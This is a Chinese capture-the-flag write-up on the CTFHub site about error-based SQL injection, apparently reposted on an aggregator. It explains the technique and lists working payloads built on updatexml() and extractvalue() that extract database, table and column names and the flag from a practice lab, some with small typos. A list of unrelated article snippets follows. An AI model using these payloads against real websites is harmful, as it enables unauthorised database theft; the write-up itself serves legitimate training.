CTFHUB-SQL注入-报错注入

目录

报错注入概述

报错注入的原理

报错注入的步骤

报错注入的常用函数

实战案例

结论

方法1:updatexml函数

查看数据库名

查看表名

查看表中数据

方法2:extractvalue函数

查看数据库名

查看数据库中的表名

查看表中字段名

查看表中数据


报错注入概述

报错注入是一种SQL注入技术的变种,攻击者通过故意制造数据库错误来获取敏感信息。这种方法通常用于那些不允许正常错误信息回显的应用程序,攻击者利用数据库的错误处理机制,将希望得到的信息嵌入到可能导致错误的SQL语句中,从而使错误信息透露出所需的数据。

报错注入的原理

报错注入的关键在于利用某些函数在特定条件下产生的错误信息。例如,、、等函数在接收到不符合要求的参数时会返回错误信息,而这些错误信息中可能包含了攻击者需要的数据。updatexml()extractvalue()floor()

报错注入的步骤
  1. 判断是否存在报错注入:通过在输入参数中添加单/双引号,观察是否会引发错误信息来判断是否存在报错注入的可能。
  2. 确定报错注入的条件:进一步构造含有特定函数的SQL语句,观察报错信息是否包含有用信息。
  3. 提取数据库信息:通过精心设计的SQL语句,利用报错注入获取数据库的版本、库名、表名等信息。

报错注入的常用函数

  • updatexml():用于修改XML文档中的节点值,当第二个参数不是有效XML时会产生错误。
  • extractvalue():用于从XML文档中提取特定XPath表达式的值,当XPath表达式无效时会报错。
  • floor():向下取整的数学函数,与结合使用时,可以在特定条件下产生错误rand()。

实战案例

在实际应用中,报错注入可用于获取数据库的版本、库名、表名等信息。例如,在SQLi Labs靶场中,攻击者可通过构造特定的报错注入语句来获取上述信息。

结论

报错注入是一种高级的SQL注入技术,它依赖于数据库的错误处理机制。了解和掌握报错注入的原理和技巧对于防御此类攻击至关重要。开发人员应确保应用程序的错误信息不被泄露,并对用户输入进行严格的验证和过滤,以防止报错注入的发生。

本关不是很麻烦,就使用SQL语句了,盲注的题就使用sqlmap工具了

方法1:updatexml函数

查看数据库名

1 union select updatexml(1,concat(ox7e,database(),ox7e),1);

查看表名

1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e)) --

查看表中数据

1 and updatexml(1,concat(0x7e,(select flag from flag),0x7e))--

发现flag不完整,使用mid函数跳过第一个字符c,提取剩下的全部字符

1 and updatexml(1,concat(0x7e,mid((select flag from flag),2),0x7e))--

方法2:extractvalue函数

查看数据库名

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

查看数据库中的表名

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--

查看表中字段名

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--

查看表中数据

1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2)0x7e))--

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/25647.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第2回 从0x7c00到0x90000

将数据段寄存器ds的值变成了0x07c0,方便了之后访问内存时利用这个段基址进行寻址,接下来,我们带着这两行代码继续往下看6行: 此时ds寄存器的值已经是0x07c0了,然后用同样的方式将es寄存器的值变成0x9000,接着又把cs寄存器的值变成256。 好的,此时ds,es,cx寄存器的值,都…

CleanMyMac2024最新免费电脑Mac系统优化工具

大家好,我是你们的好朋友——软件评测专家,同时也是一名技术博主。今天我要给大家种草一个超级实用的Mac优化工具——CleanMyMac! 作为一个长期使用macOS的用户,我深知系统运行时间长了,缓存文件、日志、临时文件等都会…

LLVM Cpu0 新后端5 静态重定位 动态重定位

想好好熟悉一下llvm开发一个新后端都要干什么,于是参考了老师的系列文章: LLVM 后端实践笔记 代码在这里(还没来得及准备,先用网盘暂存一下): 链接: https://pan.baidu.com/s/1yLAtXs9XwtyEzYSlDCSlqw?…

每日一题——Python实现PAT乙级1019 数字黑洞(举一反三+思想解读+逐步优化)

一个认为一切根源都是“自己不够强”的INTJ 个人主页:用哲学编程-CSDN博客专栏:每日一题——举一反三Python编程学习Python内置函数 Python-3.12.0文档解读 目录 我的写法 点评代码的优缺点: 时间复杂度: 空间复杂度&#…

【类型商店】字符字符串(下)

啊,哈喽,小伙伴们大家好。我是#Y清墨,今天呐,我要介绍的是字符与字符串。 导语 前两期,我们已经懂得了概念,今天来看些函数。 正题 一.增加或连接 (1) 后面增加() string s1,s2; //定义 s…

Meta首席AI科学家Yann LeCun指出生成式AI的不足

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

express入门01服务器搭建以及get和post请求的监听

微搭提供了后端API的能力,但是不同的版本收费差别巨大,因为使用的门槛限制了中小企业使用低代码平台。那可不可以既要又要呢?答案是肯定的,那其实掌握一定的后端框架,借助我们在低代码中已经熟练掌握的技能其实是比较容…

OpenCV学习(4.9) OpenCV中的轮廓

1.目标 了解轮廓是什么。学习寻找轮廓,绘制轮廓等您将看到以下功能:**cv.findContours()** ,**cv.drawContours()* 2.什么是轮廓 轮廓可以简单地解释为连接具有相同颜色或强度的所有连续点(沿边界)的曲线。轮廓是用于形状分析以及对象检测…

友情提示:lazarus的tsortgrid.autofillcolumns存在BUG

直接在tsortgrid的属性中设置autofillcolumns为true,会提示:123个错误。即使修改为false,编译运行照样会出现上述错误。唯一解决的办法就是删除sortgrid重新添加一个。 代码设置SortGrid1.AutoFillColumns : TRUE不受影响。

【Windows】UWP - Application Frame 窗口句柄溯源

目录 一、问题描述 二、解决方案 三、测试代码 参考文献 本文出处链接:[https://blog.csdn.net/qq_59075481/article/details/139574981]。 一、问题描述 当 GUI 线程的窗口属于 Windows/UWP 应用程序时,它们始终由进程 ApplicationFrameHost 托管…

量化投资分析平台 迅投 QMT(六)资产定价绕不过去的BSM模型

量化投资分析平台 迅投 QMT [迅投 QMT](https://www.xuntou.net/?user_code7NYs7O)我目前在使用什么是BSM模型CQF课程介绍模型的五个重要的假设模型公式 我们为啥要学(知道)这玩意儿呢?隐含波动率(Implied Volatility&#xff09…

初阶 《函数》 4. 函数的调用

4. 函数的调用 4.1 传值调用 函数的形参和实参分别占有不同内存块,对形参的修改不会影响实参 4.2 传址调用 传址调用是把函数外部创建变量的内存地址传递给函数参数的一种调用函数的方式 这种传参方式可以让函数和函数外边的变量建立起真正的联系,也就是…

堆和栈(heap and stack)

1、堆:一块内存空间,可以从中分配一个小buffer,用完后再把它放回去。 2、栈:也是一块内存空间,cpu的sp寄存器指向它,它可以用于函数调用、局部变量、多任务系统里保存现场。 PUSH [r3-r6,lr]; #将r3到r6寄…

26.多边形的判定

上海市计算机学会竞赛平台 | YACSYACS 是由上海市计算机学会于2019年发起的活动,旨在激发青少年对学习人工智能与算法设计的热情与兴趣,提升青少年科学素养,引导青少年投身创新发现和科研实践活动。https://www.iai.sh.cn/problem/499 题目描述 给定 𝑛n 个整数 𝑎1,𝑎…

Nacos注册中心和配置中心

1 nacos简介 1.1nacos介绍 Nacos是阿里的一个开源产品,它是针对微服务架构中的服务发现、配置管理、服务治理的综合型解决方案。是微服务的注册中心和配置中心,相当于springcloudEureka和springconfig的集合。 Nacos 致力于帮助您发现、配置和管理微服务…

使用Leaflet-canvas-label进行个性化标注实践详解

目录 前言 一、leaflet-canvas-label属性 1、地图展示属性 2、Canvas文本标注属性 3、事件列表 二、属性设置实战 1、标注放大比例 2、字体颜色和方向偏移 3、标注文字透明色设置 4、标注显示层级 三、事件绑定 1、颜色改变 2、事件绑定解析 3、标记初始化的一个小…

28.找零

上海市计算机学会竞赛平台 | YACSYACS 是由上海市计算机学会于2019年发起的活动,旨在激发青少年对学习人工智能与算法设计的热情与兴趣,提升青少年科学素养,引导青少年投身创新发现和科研实践活动。https://www.iai.sh.cn/problem/744 题目描述 有一台自动售票机,每张票卖 …

一文详解大模型微调全流程

节前,我们星球组织了一场算法岗技术&面试讨论会,邀请了一些互联网大厂朋友、参加社招和校招面试的同学. 针对算法岗技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备、面试常考点分享等热门话题进行了深入的讨论。 汇总合集&…

【大学物理】波动光学:光的衍射

23.2 单缝的夫琅禾费衍射_哔哩哔哩_bilibili 1 光的衍射和惠更斯-菲涅尔原理 干涉vs衍射:干涉研究的是两个分立的子光源,衍射研究的是连续的子光源。 两位科学家用分解的思想,一个解决了方向一个解决了光强。 2 单缝的夫琅禾费衍射 夫琅禾…

【JAVASE】java语法(成员变量与局部变量的区别、赋值运算符中的易错点)

一:成员变量与局部变量的区别 区别 成员变量 局部变量 类中位置不同 …